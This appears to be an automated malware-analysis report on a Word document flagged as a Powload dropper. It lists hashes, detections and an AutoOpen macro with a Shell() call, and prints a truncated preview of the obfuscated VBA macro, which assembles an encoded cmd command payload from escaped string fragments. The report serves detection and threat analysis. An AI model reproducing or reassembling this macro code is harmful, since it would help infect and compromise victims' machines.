Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c2fa7bc79798943f…

MALICIOUS

Office (OLE)

78.5 KB Created: 2018-08-29 06:23:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: f800b25db1fb229d1dffff276b4b5d87 SHA-1: 3f74af3d73edd4b1ec699d076edc4a9862d0194b SHA-256: c2fa7bc79798943faaba212cda9875b305886ad8ff9d1a00fbfcd8291421384c
202 Risk Score

Heuristics 6

  • ClamAV: Doc.Dropper.Powload-6665652-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Powload-6665652-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8345 bytes
SHA-256: 381688b09939c4e8ed582dc2cec5dbaae1399dfd04784f5943b7e9ee9cca8b19
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "AIIfUddBvsC"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "mTDiVPJjjQLbi"
Function BilUK()

On _
Error _
Resume _
Next
Hour QhZtCM / tLnNz
jiWFtrnizXl = "md /V:^" + "ON/C" + Chr(2 + 5 + 3 + 2 + 22) + "^" + "s^e^t " + "b^S" + "^P===" + "^A^" + "A^g^AAI" + "AACAg" + "AA^" + "I^A^AC" + "A^g^A^"
Hour BKjIN / ClrlsQ * 92585 * rGnAz
   Hour 50723 / DDMqTM * lwWZo / hWGpAi
   Hour YPCSNv / HKwUfT
   Hour LqUkci * MDwKtp
zOcac = "AI^" + "AAC^" + "A^" + "g^A^" + "A" + "I^A^A" + "CA^g" + "^AA^IAA" + "CA" + "gAA^IA^"
Hour 58991 * zdiKo * DNfcz * qdhXM
   Hour tMpaj * HdVjjJ
   Hour 48189 / PMkBjc
   Hour VqWtS * aNqTwC
ZWzik = "0^" + "HA^" + "9" + "B^" + "weAg^" + "G^Aj" + "^BAd^" + "AE" + "G^" + "A^jBQf" + "^AsD^A" + "r^"
Hour 70569 * hOvMt / 64331 * AiFNV
   Hour uwDmfU / 20601 / 56084 / 6788
   Hour 38613 * hhPLm * 77937 / aPmqLY
   Hour 20272 / pbhdj / Cukjqc / SPIob
EGWzwkYMu = "BQ^Y" + "A^UG^A" + "yBg^Y^" + "A" + "^" + "sDA^" + "u" + "^B^w" + "^UA^wE"
Hour SwYtRq * HuSRuo / 19775 / UzzRw
   Hour IjhjV * BolpGK
   Hour 82175 * YUkjnc / JzVBpj / 7397
   Hour 66218 * sYioz * 43709 / LHiFZ
qRYXn = "^A" + "kA^A" + "I^A" + "^" + "0^GA^l^" + "B" + "^A" + "d^A^kEA" + "^tAQ^Z" + "^AsGAvB" + "^gd^" + "A4G^A^" + "J^B^w"
Hour odEazN * 82837 * mNPkTw * YIUdzq
   Hour zOkNM / dqrRov
   Hour 19152 * pSwwz
ioKmU = "O^AkC^" + "AuB" + "^wU^A" + "^w" + "^" + "E^Ak^A^" + "AI^" + "A^w" + "CA" + "w"
Hour ipERzq / 66453
   Hour jBBqRq * GujYdO * 56206 / WrvrLZ
   Hour 93252 * 59695
   Hour rUjliR * 85560 / 94405 / sSVik
FPGOo = "B" + "Q" + "a" + "^AUF" + "A^k^A" + "^" + "AK^A" + "U" + "GAsB^Q" + "^aAYE^"
BilUK = jiWFtrnizXl + zOcac + ZWzik + EGWzwkYMu + qRYXn + ioKmU + FPGOo
   Hour bndzFj * SMwEs / dOutLw / rPDss
   Hour BnRMIJ * PdNlB
End Function
Function SfKPDNq()

On _
Error _
Resume _
Next
Hour 10152 * 32493
   Hour hijDtc * 57845 / DsZWi * POzvPK
   Hour HrGTfu / wiSOlh * KnEmw * UtjOUq
   Hour whOjz / OabnM
XPHwcqGkpwQ = "A" + "^k^B^Q^" + "Y^A^8GA" + "^sBg^b" + "A" + "c^H^A" + "v^B" + "AR^" + "A4" + "CA^1"
Hour 43087 * NzQNK
   Hour 21832 * 32188 * LtjawM * fnDJj
   Hour siSPZ * ouuMip
   Hour 97868 / vkOAjL / 84535 * dAjMM
SaYGfrlR = "^BQ^YA" + "^U" + "HA^k" + "AweA^k" + "HA^yBA^" + "d^A^" + "s^H" + "^A^pA^w" + "cA^" + "kE" + "^A" + "^h^B" + "A"
Hour olwYi * dZOGqT * 76807 * WzuNA
   Hour dBEfP / bWQIqr
NXaaOSIjtzO = "^JA^" + "AC" + "A^u^BQa" + "^AACA^w" + "BQa^A" + "UFAkA" + "^AKA^g" + "G^" + "Aj^B^Q^"
Hour zmhIi / VUHsb
   Hour 34010 / PTDfq
YAdzSCjam = "YAUGA^" + "yB^wb^A" + "YG^A" + "^7^A^wJ" + "^AU^"
Hour 84667 / TFBDzz
   Hour 16419 / QBpmM / 23111 * SFuOCj
   Hour lHSAHf * pzHhwm
JBnIFqI = "GA^4^B^" + "Q" + "^Z^A" + "4C^A" + "n" + "^" + "AwKA8" + "^E" + "A6B^A^U" + "AQC^A" + "rA"
Hour 42984 * QpWwF
jKafHPq = "wJA^" + "w" + "FAnAw^" + "KA^MG" + "A^p^B"
Hour qqCDv * fwsmw
WcGrHSGw = "^A^b" + "^AI^G" + "A1BAc" + "A^oD^A2" + "B^g" + "b^AU" + "^G" + "^A^kA" + "Q^P^A4" + "G^AT^"
SfKPDNq = XPHwcqGkpwQ + SaYGfrlR + NXaaOSIjtzO + YAdzSCjam + JBnIFqI + jKafHPq + WcGrHSGw
   Hour ISsGjj / hbDHl / ErkkYh / UEJwsV
   Hour 30703 * YAuNQ * IikKoW * lKLsBb
   Hour 74511 * AziFo
   Hour jPKoj * oiaNv / 1113 / wwLvX
End Function
Function nlpnwJ()

On _
Error _
Resume _
Next
Hour DECuG * XGKGL
XuwPFUTZmu = "BAT" + "^A^" + "QC^A^7A" + "^w^" + "JAAD" + "^Az" + "^" + "A^QO^Ac" + "C^A" + "^gAQ^P" + "^AACAPB" + "geAA^"
Hour WpmNDI * ONwYVb
jOwhu = "F" + "Ak^" + "A^w" + "OA" + "^kC" + "AnA" + "AQAcC" + "^"
Hour 70706 * 53768 / 32857 / iAUdAu
   Hour 61350 / rdNjU
   Hour NBmqiP * fwZbo * 35266 * JFbpqD
jLvbhqXdWA = "A^oA" + "A" + "^d^A" + "kG" + "^As" + "BAc" + "^AM^F^A" + "^uAwJAc" + "D" + "^Am^" + "Bg^ZA^" + "w^EA1^" + "BwLAcG"
Hour 48436 / TaHkVJ * bdNZmo * VmEND
   Hour 96964 / CVFjw * 54667 * XCioNf
   Hour 46668 * rd
... (truncated)

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